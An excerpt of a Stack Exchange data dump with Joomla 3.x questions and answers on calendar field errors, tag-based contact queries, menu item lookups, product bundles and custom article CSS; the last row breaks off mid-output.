  <row Id="23855" PostTypeId="2" ParentId="22192" CreationDate="2018-11-30T14:25:57.250" Score="1" Body="&lt;p&gt;I usually use the RSForm component &amp;amp; its registration plugin for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some fields are mandatory for the Joomla registration form, but you can add a variety of fields indefinitely and arbitrarily.&lt;/p&gt;&#xA;" OwnerUserId="11353" LastEditorUserId="12352" LastEditDate="2018-11-30T19:46:40.833" LastActivityDate="2018-11-30T19:46:40.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23857" PostTypeId="1" AcceptedAnswerId="23859" CreationDate="2018-12-01T09:18:30.420" Score="2" ViewCount="413" Body="&lt;p&gt;in my custom component I have a calendar field which I render in my view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Database field :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Name:&lt;/strong&gt; estEventDate&#xA;&lt;strong&gt;Type:&lt;/strong&gt; date&#xA;&lt;strong&gt;Null:&lt;/strong&gt; No&#xA;&lt;strong&gt;Default:&lt;/strong&gt; 0000-00-00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML Field :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;estEventDate&quot; type=&quot;calendar&quot;   &#xA;  format=&quot;%Y-%m-%d&quot;&#xA;  todaybutton=&quot;false&quot;&#xA;  filltable=&quot;false&quot;&#xA;  showtime=&quot;false&quot;&#xA;  size=&quot;22&quot;&#xA;  class=&quot;validate-dates uk-input&quot;&#xA;  minyear=&quot;0&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The php file tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;  &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('estEventDate'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The erros is :&lt;/strong&gt;&#xA;0 DateTime::__construct(): Failed to parse time string (-1-11-30) at position 5 (-): Double timezone specification&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the log I get this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error   Uncaught \Throwable of type Exception thrown. Stack trace: &#xA;#0 /home/mike/joomla/libraries/src/Date/Date.php(112): DateTime-&amp;gt;__construct('-1-11-30', Object(DateTimeZone))&#xA;#1 /home/mike/joomla/libraries/src/Factory.php(548): Joomla\CMS\Date\Date-&amp;gt;__construct('-1-11-30', Object(DateTimeZone))&#xA;#2 /home/mike/joomla/libraries/joomla/form/fields/calendar.php(238): Joomla\CMS\Factory::getDate('-1-11-30', 'UTC')&#xA;#3 /home/mike/joomla/libraries/src/Form/FormField.php(975): JFormFieldCalendar-&amp;gt;getInput()&#xA;#4 /home/mike/joomla/libraries/src/Form/Form.php(670): Joomla\CMS\Form\FormField-&amp;gt;renderField(Array)&#xA;#5 /home/mike/joomla/components/com_contract/views/contract/tmpl/edit_admin.php(95): Joomla\CMS\Form\Form-&amp;gt;renderField('estEventDate')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried different options in the xml. (like format,translateformat etc) &#xA;I also have set a date directly in the database (I thought that mayby '0000-00-00' value was the problem)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla v. 3.9.0 / php 7.2&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2021-01-24T22:28:47.457" Title="Calendar Field render error &quot;Double timezone specification&quot;" Tags="|joomla-3.x|form-fields-types|calendar|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23858" PostTypeId="1" CreationDate="2018-12-01T10:03:56.087" Score="0" ViewCount="102" Body="&lt;p&gt;Does anybody know a way to find out which menu item an article is attached to in Joomla 3.x ?&#xA;When you open a menu item you can see which article is attached to that menu. But the opposite  is not shown. How can I see which menu(s) an article is attached to?&lt;/p&gt;&#xA;" OwnerUserId="13111" LastActivityDate="2018-12-02T14:30:46.847" Title="Find out which menu an article is assigned to" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23859" PostTypeId="2" ParentId="23857" CreationDate="2018-12-01T10:53:53.997" Score="2" Body="&lt;p&gt;My suggestion would be, simply change the database field to varchar or text for saving this form field and then the error should be gone. Then you can get back the string format date values from the database when you need them and you can create any date/datetime format output from the string date that you get from the database. I suggest this, since with the form field rendering does not have any problem basically as I see. And I also dare to suggest this since at plugin params (in extensions table) usually the date fields are also saved in text database fields and that's not a big problem in Joomla. And finally this way you can also spot out in the database date string if the saved date format is not a valid date format. Thus you can repair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, staying at date or datetime field in database, from the xml field definition I would delete the format=&quot;%Y-%m-%d&quot; attribute definition, since that might also cause this error (I'll will also check this in my forms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A SHORT UPDATE TOWARD FINDING THE REAL CAUSE OF THIS PROBLEM&lt;/strong&gt; (just for later researchers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@mixahlos found the final solution for his above detailed problem, however for me it still remained a bit unclear what caused the wrong date format in the first place. Some important points summarized and a kind of check list on this question/problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; The date field is actually a simple text field at input with a calendar input helper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; The same problem appeared in K2 component a bit more than a year ago, which was caused by an outdated javascript calendar input code used in K2. That caused conflict at the date input. In this particular case this was not the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; @mixahlos traced back the problem with creating the same Form with the same date Fields in a clear Joomla install where he spotted the basic date formatting problem when he tried to get back the date field data from the database. Then in his code he unset the unneeded data in his PHP code (in a custom Joomla controller) and that solved the initial problem. Thus he can now save the dates without problem into date type database fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this can help a bit people later with similar problems. At least with few approaches on handling this problem.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-12-03T16:52:38.463" LastActivityDate="2018-12-03T16:52:38.463" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="23860" PostTypeId="1" AcceptedAnswerId="23861" CreationDate="2018-12-01T13:04:00.810" Score="2" ViewCount="205" Body="&lt;p&gt;I have this custom module that shows all contacts based on some tags. I can add one or more tags in a field in the module &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to add the option in the module to show:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;all contacts that have ALL tags as specified in the module&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;all contacts that have one or more tags as specified in the module&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The code I do have just does the latter. How can I add the possibility for option 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I do have is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getPeopleByTags($params)&#xA;{&#xA;  //echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;  $tags = $params-&amp;gt;get(&quot;tags&quot;);&#xA;&#xA;  $model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' =&amp;gt; true)); //load fields model&#xA;&#xA;  //get people info from database&#xA;  $db = JFactory::getDbo();&#xA;  $query = $db-&amp;gt;getQuery(true);&#xA;  $query-&amp;gt;select('id,catid,name,alias,image,email_to,published,user_id,tags.tag_id');&#xA;  //$query-&amp;gt;select('*');&#xA;&#xA;  $query-&amp;gt;from($db-&amp;gt;quoteName('#__contact_details').'AS contacts');&#xA;  $query-&amp;gt;join('right','#__contentitem_tag_map AS tags ON `tags`.`content_item_id` = `contacts`.`id`');&#xA;  $query-&amp;gt;where($db-&amp;gt;quoteName(&quot;published&quot;) .&quot; = 1  AND `tags`.`type_id` = 2 AND `tags`.`tag_id` IN (&quot;.implode(',',$tags).&quot;) &quot;);&#xA;  $query-&amp;gt;group('`contacts`.`id`');&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $people = $db-&amp;gt;loadObjectList();&#xA;&#xA;  return $people;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.9.0&lt;/p&gt;&#xA;" OwnerUserId="13112" LastEditorUserId="12352" LastEditDate="2018-12-04T06:33:07.163" LastActivityDate="2018-12-04T06:33:07.163" Title="How to query for users that have all tags when searching for multiple tags?" Tags="|mysql|tags|jfactory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23861" PostTypeId="2" ParentId="23860" CreationDate="2018-12-01T17:28:47.567" Score="3" Body="&lt;p&gt;&lt;code&gt;Tags - Similar&lt;/code&gt; module uses &lt;code&gt;HAVING&lt;/code&gt; clause to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;having('COUNT(' . $db-&amp;gt;quoteName('tags.tag_id') . ') = ' . count($tags));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure if this is the best possible solution. It could be rather slow because &lt;code&gt;WHERE IN&lt;/code&gt; selects all rows matching any tag and &lt;code&gt;HAVING&lt;/code&gt; filters only after the rows have been selected.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-12-02T13:31:09.840" LastActivityDate="2018-12-02T13:31:09.840" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23862" PostTypeId="1" AcceptedAnswerId="23864" CreationDate="2018-12-01T18:04:48.200" Score="1" ViewCount="112" Body="&lt;p&gt;We looked up for a solution to create a product bundle in the frontend of our webshop. Yet we haven't found any solution that enables the User to &quot;create a product bundle&quot;. Currently we are using the Joomla extensions: j2store, digicom and virtuemart, but they only partially support our requirements.&#xA;Unfortunately we couldn't find any extension with a module that enables the User to create a bundle of products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any Joomla extensions/plugins that have a &lt;strong&gt;module for creating product bundles in the frontend?&lt;/strong&gt; Or do you have any suggestions concerning our problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance,&#xA;Michael&lt;/p&gt;&#xA;" OwnerUserId="13109" LastActivityDate="2018-12-04T15:13:28.953" Title="Joomla! extension/plugin for creating productbundles in an onlineshop" Tags="|module|plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23863" PostTypeId="2" ParentId="4563" CreationDate="2018-12-01T18:39:05.123" Score="1" Body="&lt;p&gt;As of Joomla 3.7, a time picker is included in the core. The docs for this are &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Calendar_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, but the gist is as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this through an XML form definition, then use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;field&#xA;            name=&quot;mydatetimefield&quot;&#xA;            type=&quot;calendar&quot;&#xA;            label=&quot;COM_MYCOMPONENTNAME_FIELD_DATETIME&quot;&#xA;            showtime=&quot;true&quot;&#xA;            format=&quot;%Y-%m-%d %H:%M:%S&quot;&#xA;        /&amp;gt;&#xA;    /&amp;gt;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want JHTML directly, then its&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_(&#xA;'calendar',&#xA;'',&#xA;'mydatetimefield',&#xA;'mydatetimefieldid',&#xA;'%Y-%m-%d %H:%M',&#xA;[ 'showTime'=&amp;gt;'showTime' ]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key points in these two methods is the 'showtime' and format. Format must include some time elements &lt;code&gt;%H&lt;/code&gt;, &lt;code&gt;%M&lt;/code&gt;, &lt;code&gt;%S&lt;/code&gt;, otherwise you'll get a time picker, but the picked time wont make it back to your server.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-12-01T18:39:05.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23864" PostTypeId="2" ParentId="23862" CreationDate="2018-12-02T08:17:55.237" Score="0" Body="&lt;p&gt;I usually call these kind of questions &lt;strong&gt;interesting questions&lt;/strong&gt;. The concept of Product bundles is as old as commerce on this planet. And many of us use or develop eCommerce websites almost 20 years ago now. So the question of product bundles came up decades ago in e-commerce. Thus all of the 'webshop engines' have some kind of a bundle extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The shift of this question here is&lt;/strong&gt; only the approach, since the product bundles are created mostly and basically by the store managers/owners, not by the users/visitors, in the classical systems. Your approach is the opposite of this which is also used in many forms of course in stores. In the classical marketing approach the visitors clearly see which bundles they can buy and how much discount they can get if they buy in a bundle. &lt;strong&gt;The key here is that the buyer wants discounts&lt;/strong&gt;, they basically do not care about if it is coming from bundles or somewhere else. You see, these are just playing with words (like bundle discount) nothing else. You get discount because of bundles, or because of coupons, or because you are from the west, or because it's pink Friday today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the point and the key is the &lt;strong&gt;discounted price of a product.&lt;/strong&gt; So you can create a banner on your store front which says: &lt;strong&gt;BUNDLE BRAVADO!&lt;/strong&gt; &lt;strong&gt;Put any of 2 or 3 products in your basket, apply the bundle coupon code and Get 10 percent bundle discount today!&lt;/strong&gt;  and you just set up your pricing discounts at the backend of your shop &lt;strong&gt;based on total of the basket value.&lt;/strong&gt; And you name that discount as bundle discount 10%. (and the total value has to be this or that value where bundle discount is applied).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, in J2store for example you can solve this question &lt;strong&gt;with creating a coupon ( you can name it as BUNDLE)&lt;/strong&gt; and if someone type this in when finishing his purchase he will get 10% discount from the total of the basket value. But I am sure that all of the other e-commerce engine has options to set up discounts based on basket value. You will just name it as BUNDLE DISCOUNT. I am not sure that the concept is worth enough to create a special extension for this. But maybe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can use the above to create 'private' bundle discounts for your customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, the above theory about product bundles is only useful&lt;/strong&gt; if we talk about classical product bundle creations which purpose is simply urging the customer to buy more or we want to sell less needed products in bundles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But the OP forgot to write his/her purpose and real situation in his/her question&lt;/strong&gt; which would make this question actually much more sensible. Since there are actual situations where really the customers have to create bundles, packages from your products and that way the basic purpose and function of product bundles is not selling more or getting/giving discounts but a &lt;strong&gt;vital function of a webshop&lt;/strong&gt; which is for example selling gift packages where the customer has to choose which products are going to be in the package. That makes this question a totally other question. Because it's the question of multi-basket system in an e-commerce site where a customer wants to setup and buy any number of gift baskets/packages for example separately, which function is not really solved or offered by the e-commerce shop engines. At least I have not seen that in Joomla...&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-12-04T15:13:28.953" LastActivityDate="2018-12-04T15:13:28.953" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23865" PostTypeId="1" AcceptedAnswerId="23866" CreationDate="2018-12-02T11:57:49.197" Score="3" ViewCount="854" Body="&lt;p&gt;I am new to Joomla and I want to develop an article in joomla with several divisions in it like we dividing a normal HTML page by adding &lt;strong&gt; tags&lt;/strong&gt;. I tried to add some CSS code to the article with the help of &lt;strong&gt;sourcerer&lt;/strong&gt;, but it didn't work. Need a better solution than this. &#xA;I also tried with the &lt;strong&gt;Add custom css&lt;/strong&gt; extension of joomla, but no progress. Following images are the CSS file and the article code of joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9mmjM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9mmjM.png&quot; alt=&quot;CSS file&quot;&gt;&lt;/a&gt; CSS file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aoON0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aoON0.png&quot; alt=&quot;Joomla article code&quot;&gt;&lt;/a&gt; Joomla article code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tHAoL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tHAoL.png&quot; alt=&quot;Output&quot;&gt;&lt;/a&gt; Output&lt;/p&gt;&#xA;" OwnerUserId="13062" LastEditorUserId="120" LastEditDate="2022-11-28T08:44:18.453" LastActivityDate="2022-11-28T08:44:18.453" Title="Divide an article into several divisions by adding &lt;div&gt; tags" Tags="|joomla-3.x|editor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23866" PostTypeId="2" ParentId="23865" CreationDate="2018-12-02T12:17:31.600" Score="2" Body="&lt;p&gt;You can place all of your custom css definitions in &lt;strong&gt;yourjoomla/templates/yourtemplate/css&lt;/strong&gt; folder if you create a custom.css or user.css file in this folder. Since this does not always work with every templates, then you can use a free plugin to load your custom css codes/style:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/add-custom-css/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/add-custom-css/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can reuse your 'special' div class styles in other articles too and you do not have to define div styles article by article...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I really forgot to mention that you need to use for example CodeMirror editor in your Joomla and you can edit the articles in full html mode in that case, which you can set at &lt;strong&gt;Global configuration-&gt;Default Editor-&gt;Editor-CodeMirro&lt;/strong&gt;r . And that way together with the above styling solution or with inline styling you can create any kind of html pages/articles. (I am sorry for leaving out this important part from my answer earlier).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Very important in using this css loading plugin:&lt;/strong&gt; you have to put this plugin at the end of the plugin order in the Plug-in Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Results of my test of the above:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My article html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;coll_1&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      This is col 1&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;coll_2&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      This is col 2&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my short css in custom.css file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.coll_1 {&#xA;  width: 100px;&#xA;  height: 50px;&#xA;  background-color: red;&#xA;}&#xA;&#xA;.coll_2 {&#xA;  width: 200px;&#xA;  height:50px;&#xA;  background-color: blue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my visual result in the article in Joomla frontend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j4Atv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j4Atv.jpg&quot; alt=&quot;custom css loading in Joomla with add custom css plugin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it works without a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But making the whole subject much more simple:&lt;/strong&gt; if you use &lt;strong&gt;CodeMirror&lt;/strong&gt; as your &lt;strong&gt;default editor in Joomla,&lt;/strong&gt; then you actually do not need the Add Custom CSS Plugin for styling your articles. Using CodeMirror editor, you can just place your inline css style within &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags in the article, save the article, and you will have the same result (a styled article), so just paste the whole thing in one in the article and you will have that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So then your article should just look like this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;coll_1&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      This is col 1&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;coll_2&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      This is col 2&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;style&amp;gt;&#xA;.coll_1 {&#xA;  width: 100px;&#xA;  height: 50px;&#xA;  background-color: red;&#xA;}&#xA;&#xA;.coll_2 {&#xA;  width: 200px;&#xA;  height:50px;&#xA;  background-color: blue;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And finally:&lt;/strong&gt; you can even &lt;strong&gt;import/load bootstrap&lt;/strong&gt; inline with using CodeMirror Editor in Joomla if it's not loaded in default in your page. You can load bootstrap in an 'empty' module if it's not loaded and you can use bootstrap styling too as you want. I mostly use &lt;strong&gt;uikit library&lt;/strong&gt; in layouts and styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you just copy and paste this code in your article you get 3 columns divs in the article, using bootstrap (this is just an example, not how you should load bootstrap for long term):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;coll_1&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      This is row1 1&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;coll_2&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      This is row2 2&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;coll_3&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      This is row 3&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css&quot; integrity=&quot;sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-sm&quot;&amp;gt;&#xA;      One of three columns&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col-sm&quot;&amp;gt;&#xA;      Second of three columns&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col-sm&quot;&amp;gt;&#xA;      Third of three columns&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;style&amp;gt;&#xA;.coll_1 {&#xA;  width: 100px;&#xA;  height: 50px;&#xA;  background-color: red;&#xA;}&#xA;&#xA;.coll_2 {&#xA;  width: 200px;&#xA;  height:50px;&#xA;  background-color: blue;&#xA;}&#xA;&#xA;.coll_3 {&#xA;  width: 100px;&#xA;  height: 50px;&#xA;  }&#xA;&amp;lt;/style&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the result with using Bootstrap where you can see the 3 columns division:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gFkFF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gFkFF.jpg&quot; alt=&quot;CodeMirror Editor using Bootstrap&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can do endless things using CodeMirror editor in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2018-12-04T15:11:15.080" LastActivityDate="2018-12-04T15:11:15.080" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23867" PostTypeId="2" ParentId="23858" CreationDate="2018-12-02T14:30:46.847" Score="1" Body="&lt;p&gt;To get menu items assigned to specific article, where &lt;code&gt;$articleId&lt;/code&gt; is the article ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assignedItems = array();&#xA;&#xA;// Get all Articles component menu items.&#xA;$menuItems = JFactory::getApplication()-&amp;gt;getMenu('site')-&amp;gt;getItems('component', 'com_content');&#xA;&#xA;foreach ($menuItems as $menuItem)&#xA;{&#xA;    // Check that menu item is for article view and that IDs match.&#xA;    if ($menuItem-&amp;gt;query['view'] === 'article' &amp;amp;&amp;amp; $menuItem-&amp;gt;query['id'] == $articleId)&#xA;    {&#xA;        $assignedItems[] = $menuItem;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a simpler way but it doesn't account for different layouts, if any, and additional menu item URL parameters that might be added by plugins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assignedItems = JFactory::getApplication()-&amp;gt;getMenu('site')-&amp;gt;getItems('link', 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=' . $articleId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest depends on where and how exactly you want to display the items.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-02T14:30:46.847" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23868" PostTypeId="2" ParentId="23860" CreationDate="2018-12-02T21:15:58.837" Score="1" Body="&lt;p&gt;I took the time to set up my own test data and Sharky is correct (+1 to Sharky) about implementing a &lt;code&gt;HAVING&lt;/code&gt; clause.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tag_ids = $params-&amp;gt;get(&quot;tags&quot;);&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;id, catid, name, alias, image, email_to, published, user_id&quot;)&#xA;    -&amp;gt;select(&quot; GROUP_CONCAT(tags.tag_id) AS tag_ids&quot;)&#xA;    -&amp;gt;from(&quot;#__contact_details AS contacts&quot;)&#xA;    -&amp;gt;innerJoin(&quot;#__contentitem_tag_map AS tags ON tags.content_item_id = contacts.id&quot;)&#xA;    -&amp;gt;where(&quot;published = 1&quot;)&#xA;    -&amp;gt;where(&quot;type_id = 2&quot;)&#xA;    -&amp;gt;where(&quot;tag_id IN (&quot; . implode(',', $tag_ids) . &quot;)&quot;)&#xA;    -&amp;gt;group(&quot;contacts.id&quot;)&#xA;    -&amp;gt;having(&quot;COUNT(*) = &quot; . sizeof($tag_ids));&#xA;&#xA;echo $query-&amp;gt;dump();&#xA;$db-&amp;gt;setQuery($query);&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;var_export($db-&amp;gt;loadObjectList());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id, catid, name, alias, image, email_to, published, user_id, GROUP_CONCAT(tags.tag_id) AS tag_ids&#xA;FROM zyxwv_contact_details AS contacts&#xA;INNER JOIN zyxwv_contentitem_tag_map AS tags ON tags.content_item_id = contacts.id&#xA;WHERE published = 1 AND type_id = 2 AND tag_id IN (9,10)&#xA;GROUP BY contacts.id&#xA;HAVING COUNT(*) = 